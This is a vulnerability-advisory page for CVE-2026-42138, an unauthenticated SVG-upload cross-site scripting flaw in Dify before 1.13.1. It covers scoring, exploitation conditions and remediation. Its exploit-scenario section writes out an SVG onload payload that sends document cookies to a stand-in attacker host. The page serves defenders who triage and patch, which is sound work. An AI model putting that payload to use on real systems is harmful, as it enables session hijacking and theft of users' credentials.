Skip to main content

Dify EUVDEUVD-2026-27071

| CVE-2026-42138 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-04 GitHub_M
6.9
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft SVG payload with XSS
  2. Delivery
    POST to /api/files/upload unauthenticated
  3. Exploit
    Upload succeeds without validation
  4. Execution
    User views uploaded file
  5. Persist
    JavaScript executes in user browser
  6. Impact
    Attacker exfiltrates session or performs unauthorized action

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The POST /api/files/upload endpoint must be accessible over the network without authentication (confirmed by CVSS PR:N and description stating 'any unauthenticated user can upload'). The application must serve or display uploaded SVG files to users without sanitizing embedded JavaScript or applying strict Content-Security-Policy headers. No special configuration or non-default settings are required - the vulnerability exists in default deployments of Dify prior to 1.13.1. The authenticated POST /v1/files/upload endpoint requires valid API credentials but is vulnerable if the attacker has legitimate access or can obtain API keys. Attack success depends on the victim user viewing the uploaded file or interacting with content that renders the SVG in a browser context with script execution enabled.

Impact

CVSS 6.9 (Medium-High) with network vector (AV:N), low complexity (AC:L), and no authentication required (PR:N) indicates a relatively accessible vulnerability. The vector shows integrity impact (VI:L) consistent with XSS capabilities. However, CVSS 4.0 shows no confidentiality or availability impact, limiting the scope to data manipulation and user manipulation rather than direct data theft or service disruption. The EUVD listing and GitHub security advisory confirm vendor acknowledgment. No KEV status or active exploitation data provided, but the unauthenticated attack vector on a public endpoint (POST /api/files/upload) makes this a practical risk for any publicly accessible Dify instance. The lack of confidentiality impact in the CVSS vector suggests this is primarily a user-to-user XSS attack (affecting other application users rather than the server itself), but the integrity impact indicates successful XSS could modify displayed content or execute unauthorized actions on behalf of victim users. This is a real priority for multi-user Dify deployments but less critical for single-user or isolated instances.

Exploit ScenarioDerived

An attacker crafts an SVG file containing an XSS payload (e.g., <svg onload="fetch('http://attacker.com/steal?cookie='+document.cookie)"></svg>) and uploads it via POST /api/files/upload without authentication. When another user or an administrator views the uploaded file or a preview in the Dify interface, the embedded JavaScript executes in their browser, exfiltrating session cookies or API tokens to the attacker's server. The attacker can then hijack the victim's session or automate malicious actions within Dify.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 04, 2026

Unauthenticated users can upload SVG files containing XSS payloads via POST /api/files/upload in Dify prior to version 1.13.1, allowing cross-site scripting attacks against application users. The authenticated endpoint POST /v1/files/upload is similarly vulnerable. This vulnerability enables attackers to execute arbitrary JavaScript in the context of victim browsers, potentially compromising user sessions or stealing sensitive data without requiring any authentication or user interaction.

RemediationAI

Upgrade Dify to version 1.13.1 or later, which contains the vendor-released patch. For deployments unable to immediately upgrade, implement strict Content-Security-Policy (CSP) headers with script-src 'none' and object-src 'none' to prevent inline script execution, though this may affect functionality. Additionally, configure web server restrictions to reject SVG file uploads entirely if SVG support is not required for the application, or implement server-side SVG sanitization using a library like DOMPurify (Node.js) before serving uploaded SVG files to users. Disable the POST /api/files/upload unauthenticated endpoint if possible, requiring authentication for all file uploads, which reduces but does not eliminate risk if the authenticated endpoint is similarly exploited. Monitor logs for suspicious SVG uploads containing JavaScript patterns (event handlers, script tags, data URIs).

Affected VersionsENISA

dify < 1.13.1

Affected Packages

euvd dify fix: 1.13.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Dify is an open-source large language model (LLM) application development platform that handles file uploads through HTTP endpoints. The vulnerability stems from improper validation and sanitization of uploaded SVG files, which are XML-based vector graphics that support embedded JavaScript through event handlers and script tags. The application fails to strip or neutralize XSS payloads in SVG uploads before they are served to users. SVG files are particularly dangerous in XSS contexts because they bypass many traditional image-only file validation checks. CWE-79 (Improper Neutralization of Input During Web Page Generation) indicates the root cause is insufficient input validation and output encoding of user-supplied content in web responses.

Know when Dify gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 6.9 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M) · only source for this CVE.

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Patch available
May 04, 2026 - 19:17 EUVD
CVSS changed
May 04, 2026 - 18:22 NVD
6.9 (MEDIUM)
CVE Published
May 04, 2026 - 17:34 nvd
MEDIUM 6.9

DescriptionCVE.org

Dify is an open-source LLM app development platform. Prior to version 1.13.1, using the method POST /api/files/upload, any unauthenticated user can upload an SVG file with XSS. The method POST /v1/files/upload, which requires authentication through the application API, is also vulnerable. This issue has been patched in version 1.13.1.

Threat Intelligence Overview

EPSS Score
0.1%
Top 65% exploitable
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

34
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Dify

View all
CVE-2025-63387 HIGH POC
7.5 Dec 18

Dify 1.9.1 permits unauthenticated remote GET requests to the /console/api/system-features console endpoint, letting ano

CVE-2025-56157 CRITICAL POC
9.8 Dec 18

Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al

CVE-2026-41948 CRITICAL POC
9.3 May 18

Path traversal in Dify versions 0 through 1.14.1 allows authenticated tenants to escape their authorized tenant path and

CVE-2026-41947 CRITICAL POC
9.3 May 18

Cross-tenant authorization bypass in LangGenius Dify versions through 1.14.1 lets any logged-in editor reroute another t

CVE-2025-1796 HIGH POC
8.8 Mar 20

A vulnerability in langgenius/dify v0.10.1 allows an attacker to take over any account, including administrator accounts

CVE-2026-61461 HIGH POC
8.7 Jul 10

SQL injection in Dify's MyScale vector store backend (versions before 1.16.0-rc1) lets authenticated attackers execute a

CVE-2025-67732 HIGH POC
8.4 Jan 05

Plaintext exposure of third-party service API keys in Dify prior to version 1.11.0 allows any authenticated non-administ

CVE-2026-41949 HIGH POC
8.2 May 18

Cross-tenant document disclosure in Dify 1.14.1 and prior allows any authenticated user to read up to 3,000 characters o

CVE-2024-12039 HIGH POC
8.1 Mar 20

langgenius/dify version v0.10.1 contains a vulnerability where there are no limits applied to the number of code guess a

CVE-2024-12776 HIGH POC
8.1 Mar 20

In langgenius/dify v0.10.1, the `/forgot-password/resets` endpoint does not verify the password reset code, allowing an

CVE-2025-43862 HIGH POC
7.6 Apr 25

Dify is an open-source LLM app development platform. Rated high severity (CVSS 7.6), this vulnerability is remotely expl

CVE-2024-11824 HIGH POC
7.6 Mar 20

A stored cross-site scripting (XSS) vulnerability exists in langgenius/dify version latest, specifically in the chat log

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy